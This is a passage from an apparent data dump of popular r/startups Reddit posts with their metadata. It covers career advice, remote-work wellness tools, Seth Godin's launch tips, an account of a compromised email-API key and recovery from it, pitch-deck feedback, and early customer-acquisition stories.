for its own sake. ** People know things.** They will tell you things in person that they won't ever write in a blogpost or post online – and these will be some of the most powerful, useful things for you to know. They can open doors for you. They can set things up for you. Sometimes the problem you've been struggling with for weeks or months has a simple solution, and that solution happens to be inside somebody's head – that you can access for the cost of a beer or coffee. **Have a pipeline for hiring.** Even if you aren't responsible for hiring decisions. Make a list of people you'd like to work with and learn from. It makes sense to build relationships with people for the long haul. It's good to know good people even if you aren't necessarily going to make a career in any particular industry. **Practice speaking, give talks, presentations, etc.** Communicating what you know with other people is a powerful skill. It will make you a better professional. And you'll feel lighter at work, too, because the act of teaching and sharing makes you more comfortable and confident in your area of expertise. # Miscellaneous thoughts **Identify your constraints.** Is it money? Is it ideas? Is it execution? Is it time? What's stopping you from making 2x, 5x, 10x the impact you are currently achieving? **Thought experiments can be really useful.** What if you had more resources to spend? What would you do with an additional $500 a week to spend? $1,000? $2,000? $5,000? What if you had to start over from scratch, what would you do differently? What if you could only work for half the number of hours you currently work? What are the opportunity costs of what you're doing? What would happen if you did the complete opposite of whatever you're doing? **Positioning exercises are useful in marketing.** In many ways, marketing is all about positioning. Why should anybody buy this product instead of anything else (or nothing at all)? Why should anybody care about some particular piece of content? Why should anybody hire you? What do you, your content, your skills, etc bring to the table? **Study job postings.** I avoided doing this for a long time, because I love where I am and it felt a little bit scandalous to even entertain the thought. But it's very useful to know what the job market is looking for. You can plan a career this way. Look up the job descriptions of roles senior to your own, and ask yourself what you can or cannot do. And then build out those skill-sets. Protip: This is also precisely how you work yourself into promotions and raises. **Take ownership.** Make it easy for your boss to say yes. Every boss fantasizes about having an employee that just shows up and gets things done without having to be told or micromanaged. Once you're both clear about your priorities, goals and targets, figure out a plan and get it done. Your boss hired you to do a job, she doesn't want to have to go over every single decision with you (though a good boss will do this for a while – teach a man to fish, etc). Do the thinking for her, and give her easy decisions to say yes to. (Eg: ""We are currently paying A freelancers $B to get content that gives us C traffic, which leads to D signups. If we doubled down on A1, we would get more signups for less cost."") **Move fast; go all the way through.** I find myself thinking about writing and music. Ray Bradbury had a quote about how a writer ""should be a thing of fevers and enthusiasms."" Orchestra conductor Benjamin Zander has a similar point about how musicians should ""stop thinking about every single note along the way, and start thinking about the long, long line from (start to finish)."" I've grown to believe that this is true for all sorts of work. **Take care of your mental and emotional health.** Your work is going to fill a large part of your life, so it's a good idea to do it well, to take it seriously, to enjoy it, to challenge yourself and so on. But if you find yourself getting burnt out, depressed and so on, don't lie to yourself about it. You are the most important person in your life; take care of yourself. ____ *I don't have a blogpost to shill or anything like that. ~~You can hit me up on Twitter if you like.~~ (EDIT: Guess not!) I wrote this mainly as a letter to my younger self, and to younger versions of me out there. I'm sure a couple of you are lurking on reddit. Hi!*",NO_LAH_WHERE_GOT,539,72,1507315222,/r/startups/comments/74pms1/my_manager_who_i_loved_recently_left_my_company_i/,https://www.reddit.com/r/startups/comments/74pms1/my_manager_who_i_loved_recently_left_my_company_i/,self.startups,True,,,,, liicid,startups,Remote work was destroying my team. This is what we've done.,"Like many of you, my company has decided to go fully remote during the peak of c0vid. This was a company-wide decision where everyone weighed in the pros and cons. At first, I actually celebrated this move (I've always been a bit of a homebody) even though as the CEO, I was slightly concerned about overall team performance. (Some might remember my post about this). Well, 3 months after making the transition to remote work I can confirm that team performance was indeed affected. Personally, I found myself feeling increasingly lethargic, with no motivation, depressed even - all the typical burnout effects. My teammates also reported similar feelings - my sales team being the most affected by this transition. **We had no option but to make this issue a company-wide priority that had to be dealt with immediately.** Going into this, we supplemented the move to remote with all the go-to team/company productivity sop's, guidelines, and tools you'd expect (slack, etc.) but we completely ignored personal-level ones. The integration of the latter is what made a world of difference. After surveying our staff (20 people strong) we decided to create our own internal ""hierarchy of needs"". **Sleep, movement, nutrition, and time-off-screen** became essential metrics (actual rules to live by) for everyone. Under those guidelines, we were quick to find and test an array of solutions to ensure personal accountability, ultimately, so that everyone was on the same boat. &#x200B; **Our self-care/personal productivity stack:** **Rescue time** (rescuetime.com) \- I’ve used Rescue Time on-and-off over the last couple of years but didn’t get to fully dive in until recently. Getting granular visibility on how you’re spending time in front of a screen has been extremely helpful. **HeadSpace** (headspace.com) \- I'm not one to rave about the benefits of hardcore meditation but the stress relief benefits of a daily session are too many to ignore. Plus, the team responded well to the gamification component of the headspace platform. **Rise Science** (risescience.com) \- Sleep is everything! We found that optimizing sleep was the biggest catalyst in mitigating employee burnout/personal churn. Such a simple concept to grasp, yet very hard to implement consistently. Two important concepts Rise brought to the table: 1)Sleep Debt 2) Circadian peak optimization. **Oura Ring** (ouraring.com) \- Initially, I was a bit skeptical but we decided to incorporate Oura into our stack (biggest investment we made, but well worth it). The spectrum of data insights it offers is pretty bananas. \--- Its been approx 2 months since we integrated a company-wide personal productivity/self-care policy and the results have been great. Everyone is having fun. Incorporating a feedback loop at a personal level has shown how closely work bleeds into one's personal life. **This can wreak havoc on mental health** if your company doesn't take the right measures to prevent it. After going through this transition into remote work, I believe that more companies should give their employees remote-specific care packages and adopt wellness-first policies over strictly performance-based ones. **I would love to hear your feedback and recommendations on this one!** &#x200B; &#x200B; PS. I have no affiliation with these companies. PPS. Obviously, our employees did not pay for these out of their own pockets.",andrebotelho,535,83,1613157247,/r/startups/comments/liicid/remote_work_was_destroying_my_team_this_is_what/,https://www.reddit.com/r/startups/comments/liicid/remote_work_was_destroying_my_team_this_is_what/,self.startups,True,,,,, lqpjse,startups,"11 months ago I posted asking ""What is the reason no one is competing with UpWork?"". Today we are announcing our Series A!","_Reposting a redacted version because previous post got removed for mentioning product identifying details._ 11 months ago I posted on r/startups asking What is the reason no one is competing with UpWork?. It has been a crazy year since! I've moved to SF. I met my co-founder during COVID. When we realized that our goals were aligned we've committed to building this together. From there on we'd meet every morning, share breakfast, brainstorm on the whiteboard (very old school I know), work together, & take long walks way past sunset. Our friendship grew stronger and so did our conviction about the size of the opportunity. And once we realized how big this thing could be, we started recruiting our engineers, designers, community team, ... all around the idea of giving everyone the freedom and opportunity to work independently. We've hired a ton of extraordinarily talented & caring people. We've raised our pre-seed, seed and series A. We've are building an amazing product using an amazing technology stack. [redacted] Today I am the happiest I've ever been, working with the greatest team in the world, solving a problem I deeply care about. We just had our (mostly remote) launch party, and I just wanted to share this excitement with r/startups and encourage everyone to never give up if you are truly convinced about something. 😊",gajus0,531,143,1614105496,/r/startups/comments/lqpjse/11_months_ago_i_posted_asking_what_is_the_reason/,https://www.reddit.com/r/startups/comments/lqpjse/11_months_ago_i_posted_asking_what_is_the_reason/,self.startups,True,,,,, kzw0hk,startups,7 books that took us to $150k in 45 days,[removed],otaota,526,55,1610981336,/r/startups/comments/kzw0hk/7_books_that_took_us_to_150k_in_45_days/,https://www.reddit.com/r/startups/comments/kzw0hk/7_books_that_took_us_to_150k_in_45_days/,self.startups,True,,,,, 6s6r4a,startups,"Here's the exact process Seth Godin uses to launch a new business (from scratch) with only $1,000 in the bank and 90 days to spare","Most of the so-called marketing ""influencers"" out there are celebrities. They've made it. They're not in the trenches anymore. They forgot how to ""do"" marketing; their employees promote their new books for them, build their new websites, launch their new products... all they have to do is sign their name under whatever new projects and Ka Ching! the money starts rolling in their bank accounts. That's what I thought when I was preparing my interview with Seth Godin for my podcast called **Everyone Hates Marketers** (how I managed to get him on the show is another story - http://imgur.com/a/1WhxU). Seth has published 18 books, is regarded as one the best marketing minds alongside Ogilvy or Tim Ferris, so he doesn't need to be in the trenches anymore. I chose to challenge him to take him out of his comfort zone and see if he still ""got it"". I asked him to: - come up with a business idea on the fly - explain EXACTLY how he would launch this new business, - describe how he would find his first customers, - + plenty of other questions There was one catch though: he couldn't use his name to promote it, he had only a budget of $1,000, and 90 days to be successful. What follows is the exact process Seth Godin uses to launch a new business (from scratch) with only $1,000 in the bank and 90 days to spare. --- **0) Before we start:** - if you want to read this post on a Google Docs, away from distractions, here it is: https://docs.google.com/document/d/1dDXF-AFGCV_2GMLKuyBrrzViQ_ADdgH9uVwpth7f4MA/edit - if you want to listen to the podcast episode directly, you can follow this link: https://everyonehatesmarketers.com/seth-godin-marketing-secrets/ (there's no annoying popup, you can listen to the episode directly from your browser). --- **1) Market WITH people, not AT them** ""*We, marketers, are selfish, lying, short-term thinking scum. We believe that our job is to manipulate people as we market to them.*"" - Seth Godin The time of scammy, in-your-face marketing is over. 20 years ago, you could come up with an average product, invest a few thousand euros in TV Ads saying that your product was the best ever, and sell 10,000 units of it. Not anymore. People are immune to bad marketing. Don't believe me? When was the last time you bought SEO services from a cold email? When was the last time you subscribed to a new marketing software from an automated direct message on Twitter? That's right: never. We expect to sell using those shady techniques, yet we HATE it when it happens to us. The first step towards a launching a new business according to Seth Godin is to change your mindset. You can't come up with a product or service and THEN decide to market it. You have to involve people in the process. Your customers are humans just like you. They're not just a number on Google Analytics. Treat them as such. --- **2) Focus on the tiniest audience possible** In 2004, Mark Zuckerberg launched a social network for Harvard students only. Look where Facebook is now. In 1970, Yvon Chouinard, co-Founder of Patagonia, was selling ""homemade gear out of the back of his car, supplementing his income by diving into trash cans and redeeming bottles for cash"". Patagonia is now worth $209M. I had the same dilemma when I started my podcast Everyone Hates Marketers. I wanted to reach ALL the marketers on the planet. I realized that I would stretch myself too thin if I was going down this road. So I trimmed my audience to the bone: I would focus only on digital marketers working in tech who are sick of shady, aggressive marketing. This was the audience I knew the best: I am a tech marketer sick of shady, aggressive marketing. By focusing on this small audience I have an edge over the generalist digital marketing podcasts out there. I can address their biggest, most specific pains. This is what remarkable marketing is all about. This probably goes against everything you learned about business. That's because this is the ugly, unsexy part. No, you're not going to become a millionaire this year, or even next year. It might take 9 years, 18 years, 25 years, who knows? So, how do you pick a tiny audience? This part takes discipline. You probably have an idea of a product or service you want to offer; now it's time to select the bullseye: who are the people who will benefit the most from using your product or service? When I asked Seth Godin to come up with a business idea on the fly, he came up with a concierge service to help tourists find an Airbnb in Paris. But ""tourists"" could be anybody: are we serving a Japanese family looking to go to Versailles for the first time or a Brazilian businessman who want a place to stay near Bercy for a seminar? So, Seth trimmed down his audience: he would help Californian families with young kids to find the best place to stay in Paris for their holidays. This is much more specific, and, all of a sudden, the problems they face and the solutions we can offer become much more specific, too. Californian families want high-speed internet to talk with their relatives who stayed in San Diego. They want to see the Eiffel Tower from their balcony just like in the movies. They want to taste the best croissants Paris has to offer since they can't find any in San Diego. See what I mean? You might fear that the audience you're thinking of is too small. Here's a tip I got from Philip Morgan (an expert in marketing positioning): if there's a conference especially organized for it, then your audience is big enough. For example, did you know that there's a conference for handcrafted soap makers (https://www.soapguild.org/conference/index.php)? The next one is in Atlanta, Georgia, and 450 attendees are expected. If the handcrafted soap maker conference organizers managed to make money from such a tiny audience, so can you! --- **3) Create a remarkable product** Ok, ok, this might sound cliché but hear me out first. Remarkable marketing starts with a remarkable product. But, what's a remarkable product you ask? It's a product that your customers simply CAN'T live without; they love it so much that they tell their friends, who tell their friends, who tell their friends. You get the drill. The problem is that most of us try to sell average products to average people. Because the products are average, customers are not raving about them. They don't talk about them to their friends. As a consequence, we have to use shady, aggressive marketing to compensate for the loss in business. Do you think Slack had to use in-your-face marketing to sell their product? Nope. Anybody can use their product for free - there is no string attached. The product is so good that it IS their marketing. They went from 16,000 Daily Active Users to 2.7 Million in 2 years. As Seth Godin mentioned in the episode: did you start using Facebook because you saw their ads on a lifestyle magazine? Nope. Your friends told you about it. Have you heard of MailChimp because they sponsored a conference you went to? Nope. Their email tool was so good that you started to receive newsletters from businesses and people you knew, sent from MailChimp. You checked out their site, tried their email software for free, and loved the experience. Now here's the hard truth: you're not going to launch the next Facebook, MailChimp, or Slack. They're solving big problems for millions of people. But, to start with, you can create a remarkable product for a small audience. It’s time to get out of the building and talk to people: - Identify one of their most painful, unsolved problems - Work your ass off to help them solve it - Give a sample of your product or service for free - Do they rave about it and offer to share it with their friends straight away? You have a winner. - If not, collect their feedback and start again. This is why Hotjar, the all-in-one analytics and feedback solution for your website, wanted to build a remarkable product. It took them only 4 weeks to come up with the first version of the product, built a very simple landing page, let 1,500 people use it straight away, and gathered feedback. The product was so good that those 1,500 early adopters referred an additional 17,500 people in less than a month. At this point, the Hotjar co-founders knew they had a winner. There is no silver bullet in building a remarkable product and it might take you months or even years to find the right recipe, but, if you start with a small audience and gather feedback on the way, your chance of coming up with a remarkable product or service will get much, much, higher. --- **4) Create an abundance of confidence** How do you get the word out about your product or service if you have only $1,000 in the bank? In the words of Seth Godin, ""*by giving people an abundance of confidence which will create an abundance of value and all I’m asking in return is to be trusted.*"" Let's get back to the example mentioned earlier: a concierge service for Californian families who want to get to Paris on holidays and find a place to stay. To get the word out, Seth proposes to select the best 50 Airbnbs in Paris, take pictures, and create an amazing 50-page guide of where our potential customers should stay when going to Paris. This guide would be available for free, on Medium, for everybody to see. He would then contact 10 people he knows who fit the description of his ideal audience and see if they get any value out of it. If they do, they're probably going to share this guide to their friends, who will then share it with their friends and so on... If they don't, he would improve the guide until they do. Here's the catch: he would leave his email address at the bottom of the guide, and expect readers to contact with questions. He'd give great free advice, engaging with 100 to 1000 people a day back and forth, back and forth, until he'd the indispensable middle man. Airbnb owners would pay him to write a review about their place, while American families will reach out to find the best Airbnb apartment in the city center of Paris for less than 250$ a night. This concept can be applied to any time of products to services: to be trusted you must first give value for free. This requires patience. At the end of 2016, Unbounce, a landing page software, had more than 16,000 paying customers. How did they get there? They started blogging six months before their first product release (in 2010), but, what really helped them to become the most popular landing page software on the planet, was a guest post on Moz.com called ""The Noob Guide to Online Marketing""; a giant guide and infographic containing TONS of value. They turned this post into an ebook which got downloaded 150,000 times. Unbounce got trusted as the go-to online marketing experts, and the rest is history. Can YOU do the same in your niche? --- **5) Make a spinner and spin the wheel** You might feel overwhelmed by all of the above, and that's ok. You might not know where to focus on: there are so many things you could do, so many channels you could use, so many ideas running in your head. How do you choose which project to focus on first? Simple. Just pick one, or as Seth Godin would say: ""Make a spinner and spin the wheel"". Do a thing and stick to it. I used to act like a headless chicken when I started my career: I was impatient, switching from one project to another in a blink of an eye. 7 years ago, I launched a blog about marketing (in French), wrote 9 articles, and stopped because there weren't enough people reading them. 4 years ago, I wanted to create a community for cystic fibrosis patients to connect with each other (my younger brother has cystic fibrosis). I pitched the idea at a Startup Weekend, worked on it for two weeks, and quit. It is when I started interviewing no-nonsense marketers a few months that I had an epiphany: every one of my guests, in their own words, mentioned the virtue of tranquility. In stoicism, tranquility is defined by: “believing in yourself and trusting that you are on the right path, and not being in doubt by following myriad footpaths of those wandering in every direction”. I stopped checking my mentions on Twitter every 30 minutes, I stopped checking my website stats on Google Analytics every day, I stopped looking at my podcast downloads every Tuesday (when I publish a new episode on Everyone Hates Marketers). Instead, I've decided to make a spinner and spin the wheel. I've decided to deliver value every week and to stop expecting success to knock on my door tomorrow. I know that success will come; I just don't know when. It’s such a liberating feeling. Success is a byproduct of helping people solve their biggest most painful problems. --- **Key takeaways:** - Market WITH people, not AT them. Your customers are human beings, just like you. - Focus on the smallest audience possible. You can always expand later. - Create a remarkable product. If your first 10 customers spread the word about it, you have a winner. If not, collect feedback and - start again. - Create an abundance of confidence. Give away a huge amount of value for free so people trust you in return. - Make a spinner and spin the wheel. There will never be a perfect time to do anything: do something and stick to it. --- **Recommended resources:** - Seth Godin’s Marketing Secrets to Launching a New Business, podcast episode with Seth Godin: https://everyonehatesmarketers.com/seth-godin-marketing-secrets/ - Purple Cow by Seth Godin: https://www.amazon.com/Purple-Cow-New-Transform-Remarkable/dp/1591843170 - Permission Marketing by Seth Godin: https://www.amazon.com/Permission-Marketing-Turning-Strangers-Customers/dp/0684856360 - Ogilvy on Advertising by David Ogilvy: https://www.amazon.com/Ogilvy-Advertising-David/dp/039472903X - Scientific Advertising by Claude Hopkins: http://www.scientificadvertising.com/ScientificAdvertising.pdf - The 22 Immutable Laws of Marketing by Al Ries and Jack Trout: https://www.amazon.com/22-Immutable-Laws-Marketing-Violate/dp/0887306667 - Avoid best practices at all costs, podcast episode with David Darmanin, CEO of Hotjar: https://everyonehatesmarketers.com/david-darmanin-avoid-marketing-best-practices/ - Rand Fishkin's guide to inbound marketing, podcast episode with Rand Fishkin: https://everyonehatesmarketers.com/rand-fishkin-guide-to-inbound-marketing/ --- Edit: Overwhelmed by your reactions! As a French dude who think he's a shitty writer your comments make a big difference. I'm going to write more :)",gresquare,522,55,1502124023,/r/startups/comments/6s6r4a/heres_the_exact_process_seth_godin_uses_to_launch/,https://www.reddit.com/r/startups/comments/6s6r4a/heres_the_exact_process_seth_godin_uses_to_launch/,self.startups,True,,,,, udxn99,startups,We got hacked…and so could you. Lessons learned from our experience,"Using a throwaway account since I’d like to protect myself and my company’s identity. A couple weeks ago we dealt with a small scale security breach. Every tech company in the $5 million+ range has likely dealt with some sort of breach or instability, but it’s rarely talked about. Because of that, I figured it would be useful to share our experience and how we were able to avoid much larger issues. I’m hoping you take the time to read this just because there aren’t many stories like this which are openly shared. At the very least, you might find the story entertaining! **BACKGROUND** I’m the co-founder and oversee product of a relatively established tech startup (few thousand clients, multiple millions of revenue, VC backed). Without going into too much detail, one of the core functions of our software is to send transactional emails to our clients when their customers update information or their customers are reaching out to our clients with inquiries. We’ve processed millions of emails to our customers and have a bounce rate under 1% and a complaint/spam rate of 0.001%. In the email sending world, with this sort of scale, we are a very safe sender and have only had deliverability issues once with few customers (more info on that to come!). On top of that, we’ve never had a customer mention our emails going to spam. To process emails, we use Amazon’s SES (simple email service) product since we use AWS for other services. For context, we’ve used SES for almost 7 years so it was not on my radar as a potential tech risk… **SO WHAT HAPPENED?** The morning of our breach was relatively normal. Our leadership team had a few team meetings to make sure everyone was aligned on new strategies and we were breaking out to work on our tasks for the day. When I went to check my email, I noticed a ticket had been opened by Amazon letting us know our account was under review since our bounce rate had exceeded 10%. It was alarming for sure, but there were no changes made to our account and we had 30 days to improve the issue for another analysis to take place. After reviewing the email, I also noticed the main sending domain we use had 50 or so auto reply messages in a 15 minute span…anything ranging from “out of office” to “your support ticket has been received”...At this point, I knew something was up and had our engineering team and dev ops team start digging into what could have caused this. Again, I thought we had 30 days to correct the issue so I felt like the issue had been passed on to the right team members and we could figure out a solution. Unfortunately, we were too late to reverse what had already happened. 15 minutes after the original email of Amazon alerting us of a 10% bounce rate, I received another email letting us know our account was temporarily suspended because our bounce rate had reached 26%...for this to have happened, hundreds of thousands (if not more than a million) emails had to have sent out and the majority of them didn’t even reach the inbox. With such a critical component of our software going down, we immediately alert customers to enable SMS alerts due to a temporary sending issue with email alerts. As expected, some customers had questions, some were annoyed, but there was relatively little backlash since they were aware the issue was being investigated. **WHAT CAUSED THIS AND HOW DID WE AVOID BIGGER ISSUES** With SES and other email APIs, you receive an access key in order to use the API. Our access key appears to have been compromised which allowed someone to send mass emails via the API who was outside of our organization…we’re now putting in safeguards to ensure even more security around then. When our account was paused, we switched all access keys and changed all passwords as a precaution. With all of this being done, we still had to wait for Amazon to go through their review process and reinstate our account which can take WEEKS…Here’s the good news and the takeaway... Remember at the beginning of this post, when I mentioned that we had a few users mention deliverability issues in the past? The root of those issues were actually on Microsoft Outlook, but at the time, we thought it was our issue. Because of this, we built in a backup transactional email platform to manually move the users having issues from Amazon SES to our alternative sending provider. Since we did this in the past, we were able to manually move a large chunk of our high volume customers over to the alternative within the hour to avoid any interruption for them. Over the next 10 hours, our engineering team was able to move all email sending scenarios away from AWS SES to our alternative provider. Every customer was now receiving email again and virtually no one was majorly affected. If we hadn’t built in an alternative sending provider, we would have likely spent a few days configuring everything for a new provider or hoped and prayed that Amazon got back to us to reinstate our account…Amazon ended up taking 5 days so that wouldn’t have been an option. **LESSONS** The key lesson here for any technical founder is to look at their software and see where you might have vulnerabilities. There are always risks with tech products, but there are certainly ways to mitigate your impact if a system does have an issue. A few examples could be your server infrastructure not built to scale, using multiple servers for platform based products, third party softwares/APIs having their own issues (like in our case), different APIs that are having version updates which could affect components of your software, keeping SSL certificates up to date, etc. I hope these lessons are helpful and you can learn something from the experience we had. At the very least, hopefully you got some level of entertainment from our very stressful situation :).",throwaway_got_hacked,519,112,1651159728,/r/startups/comments/udxn99/we_got_hackedand_so_could_you_lessons_learned/,https://www.reddit.com/r/startups/comments/udxn99/we_got_hackedand_so_could_you_lessons_learned/,self.startups,True,,,,, 1ax22r3,startups,The PayPal Mafia is working on an AI Startup. Their distribution strategy is genius.,[deleted],[deleted],510,65,1708592910,/r/startups/comments/1ax22r3/the_paypal_mafia_is_working_on_an_ai_startup/,,,True,,,,, gy2y80,startups,My thoughts from having reviewed thousands of pitch decks.,"I'm in a fortunate position with my employer where I've spent the last 5 years reviewing pitch decks and hearing pitches from entrepreneurs all over the United States. Their ideas spanned biotech, SaaS, CPG, agtech, and more. The clients I've worked with have ranged from first time founders, Fortune 500 executives, and serial entrepreneurs. I've seen a lot of failures, some go sideways and fewer successes. Here's just some thoughts I've collected after having a slow weekend indoors to reflect. **Build a business, not an invention** I see this a lot with STEM or technical founders. They've finally managed to land on the calendar of a VC, and they waste the whole time talking about the technical ins and outs of how their awesome new invention is going to revolutionize the world. Unless the person listening to you also has that level of technical expertise, it's way over their head. VCs and investors understand business though. What's the business case? You may have found a huge problem and you'll solve it with your fancy new innovation, but what does it cost? What's your total addressable market? When will you hit profitability? If you don't come equipped with those answers, you're not getting anywhere **Focus on ""you"", not ""I""** So many pitches end with something like, ""If I just had the money, I can totally make this happen!"" Notice that the statement has nothing in it for the investor. You're asking them for tens or hundreds of thousands of dollars, or millions. What's in it for them? Investors are not charities. Entrepreneurs often come to the pitch meeting thinking money is just going to rain from the sky if their pitch has just the right amount of buzz words and sweet promises of a future fantasy of becoming billionaires. An experienced investor is just going to roll their eyes at you. Put yourself in their shoes. What would you want to know if someone was asking you for that much money? Wouldn't you also want to know what's in it for you? **Fundraising is a full time job.** It can easily take a full year from you building your pitch deck to finalizing your investment. It can take a full work week to find investors, woo them, get them to sign, and then manage them after the investment to ensure you're maintaining good relations. On top of all of that, you as the CEO have to manage everything else about your business - sales, marketing, logistics, growth, etc. Especially in this economy, no one is handing out free money just because you think you've got God's gift to mankind in your business plan. Expect to hustle. Hard. &#x200B; Anyway, this post probably comes off as condescending. But I was a first time founder once too, and I wished someone just cut the BS and gave me this advice. Hope this is helpful to some of you, too.",Nomeii,506,98,1591491885,/r/startups/comments/gy2y80/my_thoughts_from_having_reviewed_thousands_of/,https://www.reddit.com/r/startups/comments/gy2y80/my_thoughts_from_having_reviewed_thousands_of/,self.startups,True,,,,, k4kn4d,startups,Work-life balance is no joke.,"One of my employees has been struggling with chronic overworking for the past two months. She is the kind of person who monitors her emails in the evening just to make sure our client gets a prompt email reply or can make an urgent Zoom call, even though her workday starts at 7 am. For product releases, she volunteered for a few night shifts. Although all her overtimes and night work were compensated, money cannot instantly cure physical and mental exhaustion. I decided to reward her with a one-week vacation for two to the destination of her choice fully paid by the company. And of course, her workload for the next release will be closely monitored, as we don’t want to lose her to burnout. Does your company prevent employees from burnout? And how?",followthewhitechaos,505,76,1606828650,/r/startups/comments/k4kn4d/worklife_balance_is_no_joke/,https://www.reddit.com/r/startups/comments/k4kn4d/worklife_balance_is_no_joke/,self.startups,True,,,,, 11t4lxa,startups,My takeaways from my 1st and 2nd startup,[deleted],[deleted],499,71,1678996927,/r/startups/comments/11t4lxa/my_takeaways_from_my_1st_and_2nd_startup/,,,True,,,,, 6s2t2w,startups,"To all new startup founders, here's how 17 different startups hustled for their first customers. If you're feeling disheartened, I hope their stories will inspire you to keep on going!","It’s hard to imagine successful companies struggling to acquire customers. We see the successes with their hordes of fans and we think, “Wow, they’re so lucky. They have it good.” Yet every single behemoth in existence once had to court its first customer. [In this post](https://www.referralcandy.com/blog/how-to-get-first-customers/), I feature some of their stories. You’ll find in them a generous mix of grunt work, guts, and genius. **1 & 2: Tinder and Alibaba – physically traveled to their first users** *Tinder went from 5,000 to 15,000 users by getting sorority girls to signup on the spot* Crucial to [Tinder’s success](https://www.referralcandy.com/blog/how-tinder-obtained-more-than-50-million-users-through-word-of-mouth/) was then-CMO Whitney Wolfe’s ideas for building an early user-base. She planned a tour that would take her to prominent college campuses around the country. - She would go to chapters of her sorority, do her presentation, and have all the girls at the meetings install the app. - Then she’d go to the corresponding brother fraternity—they’d open the app and see all these cute girls they knew. - Tinder had fewer than 5,000 users before Wolfe made her trip. When she returned, there were some 15,000.” *Alibaba “brute-forced” its success by visiting factories one by one* Back in the early ’00s, Jack Ma sent out a large sales force to fan out across the country, visiting factories one by one to show them how they could use Alibaba and Taobao to sell stuff online. Back then, a large number of factories in China weren’t used to working with other people online, and sometimes didn’t even have computers or Internet. It was hard work, but companies quickly flocked to Alibaba and its holdings. This allowed them to get an edge over eBay. **3 & 4: Quora and Reddit – seeded their sites with their own content** *Founders solved the chicken-and-egg problem by contributing the bulk of early content themselves* [Quora](https://www.referralcandy.com/blog/quora-marketing-strategy/) and Reddit are two of the largest online forums in existence today, but they were once ghost towns with the chicken-and-egg problem of “empty site = no users / no users = empty site”. Quora co-founders D’Angelo, Cheever and Cox wrote most of the earliest questions and answers themselves. The first employees and beta testers then continued this trend, until the platform generated enough activity for them to stop. Reddit did the same, but it also created fake profiles. According co-founder Steve Huffman, it took several months before the front page would fill up organically without their submissions. **5 & 6: Threadless and Dropbox – the biggest believers in word-of-mouth** *Dropbox launched shared folders and a massive referral campaign* The Dropbox empire was built on referrals. - With its massive word of mouth campaign, Dropbox grew its user base by 40 times – from 100,000 to 4,000,000. - In April 2010 alone, Dropbox users sent 2.8 million direct referral invites. - But on top of that, Dropbox itself was designed to encourage sharing. They introduced shared folders, a nifty feature that encouraged users to invite others to share access to folders. *Threadless let its community run their own initiatives* One of Threadless’ crucial early moves was to start a massive word-of-mouth campaign. From the get-go, [Threadless supported community](https://www.referralcandy.com/blog/threadless-marketing-strategy/) initiated “rogue contests”(spontaneous, themed tee shirt contests). In turn, its community is insanely creative, and also fiercely loyal brand advocates. **7: Black Milk: Fashion + Fandoms = Great Success!** The clothing store achieved its impressive growth by milking fandom for its worth. It didn’t stop at making pop culture-inspired apparel – it established serious legitimacy by getting official license for all their geeky wear. It’s also made its Facebook page a fandom watering hole. Over there, dedicated “Sharkies” can connect with like-minded fans. There’s even a Black Milk-approved group where girls can swap, buy, and sell their purchases with each other. **8: OKCupid – legendary content on OKTrends averaged 4,222 tweets per post** The content on OKTrends was so mindblowingly insightful that people actually despaired when it was discontinued. Who wouldn’t want to read and share this post titled “10 Charts About Sex“? (Do it, it’s worth all your attention.) From August 2010 to April 2011, OkTrends posts averaged a staggering 32,500 Facebook likes and 4,222 tweets. Co-founder Rudder says, “Honestly I think the blog–one way or another–has driven a lot of our growth. Certainly, it has driven brand awareness. It’s been the only thing we’ve ever done, other than making a great dating site, that has gotten us out there into the world.” **9: Etsy – harvested interest by reaching out to target communities before launching** [Etsy founders](https://www.referralcandy.com/blog/etsy-marketing-strategy/) used to run a web design shop and were working on getcrafty.com for one of their projects, during which they discovered the need for a marketplace for handmade crafts. So, while they built Etsy, they reached out to the craft community on getcrafty.com and Craftster.org, which had an even larger user base. By the time they launched, they already had a lot of interest generated among the two platforms, and that helped get the required inventory and start off transactions on Etsy. **10: Buffer – got to 100k users primarily through frequent guest blogging** Co-founder Leo Wildrich wrote 150 guest posts in the first 9 months of running Buffer, and he swears by it. That’s 16-17 posts per month, or more than 1 every two days! “Relationships are actually the most valuable things that you gain from guest posting. At the end of the day, if you do a lot of guest posting you simply make a lot of friends. I’ve got great friends over at Treehouse, Social Media Examiner, SocialMouths, and other great sites. You provide someone with free content, that’s a great favor if you think about it, so it’s a great opportunity to make friends with these awesome people.” **11: ASOS – the ecommerce store mailed its own print magazine to 400,000 customers** Back in 2006, CEO Nick Robertson insisted that the glossy print catalog was still key to making the brand an essential part of customers’ lives. Today, besides maintaining a content-rich site, ASOS also has a magazine with a circulation of 456,000 – the 18th largest in the UK, immediately behind Glamour and Closer, and just a handful of places behind New. Unconditional, free shipping was irresistable. One of the things that kept customers flocking to ASOS was its incredible shipping and returns policy – even in its early days, ASOS was shipping for free and without minimum purchase. That policy has only just recently changed, but ASOS already has a loyal fanbase worldwide. **12 & 13: Twitter and Foursquare – exploded their userbases at SXSW with guerrilla marketing** *SXSW 2007 – Twitter lived streamed the conference on huge plasma screens* Co-founder Evan Williams decided to visualize the service on 60 inch plasma screens in the hallways, because “We knew hallways were where the action was”. Twitter created an event-specific feature that allowed attendees to follow a handful of “ambassadors”. According to Newsweek’s Steven Levy, “Hundreds of conference-goers kept tabs on each other via constant twitters. Panelists and speakers mentioned the service, and the bloggers in attendance touted it.” During the event, Twitter usage went from 20,000 tweets per day to 60,000. *Foursquare – grew average check-ins from 250k to 350k with just chalk and rubber balls* Foursquare didn’t have a booth like most other brands at the 2010 SXSW convention. Neither did it have Twitter’s marketing budget (Twitter spent $11k on its SXSW campaign). Instead, it set up an actual game of “four square” in front of the convention hall, which involved just chalk and two rubber balls. The game drew thousands of walk-up participants [1], Said CEO Dennis Crowley, “We played all day long, and there was always a waiting line. We were handing out tee shirts, buttons, and stickers. Anytime someone didn’t know what Foursquare was, we helped them find it on their phone. We helped get them up and running and using it.” **14: Taskrabbit – focused on delighting moms in Boston** Taskrabbit first cornered the market with one mothers’ group in Boston Taskrabbit is similar to Uber in its hyperlocal focus. Leah Busque talked about Taskrabbit’s early traction in response to a question “How did you acquire your first 10,000 users?” “It can be tempting to just go really broad, really wide scale, really fast. But for us, we just focused on a customer segment. We focused on this mothers’ group in Boston. And once we had cornered that market with that moms’ group, those moms were talking to other moms on Beacon Hill and Backbay and Cambridge and it just spread from there.” **15: Airbnb – shuttled from coast to coast to talk to their first users** *Founders went the extra mile for their earliest users* Founders Brian Chesky, Nathan Blecharczyk and Joe Gebbia acted on Paul Graham’s advice in their Y Combinator days and “did things that didn’t scale”. Specifically, they went to NYC to acquire their 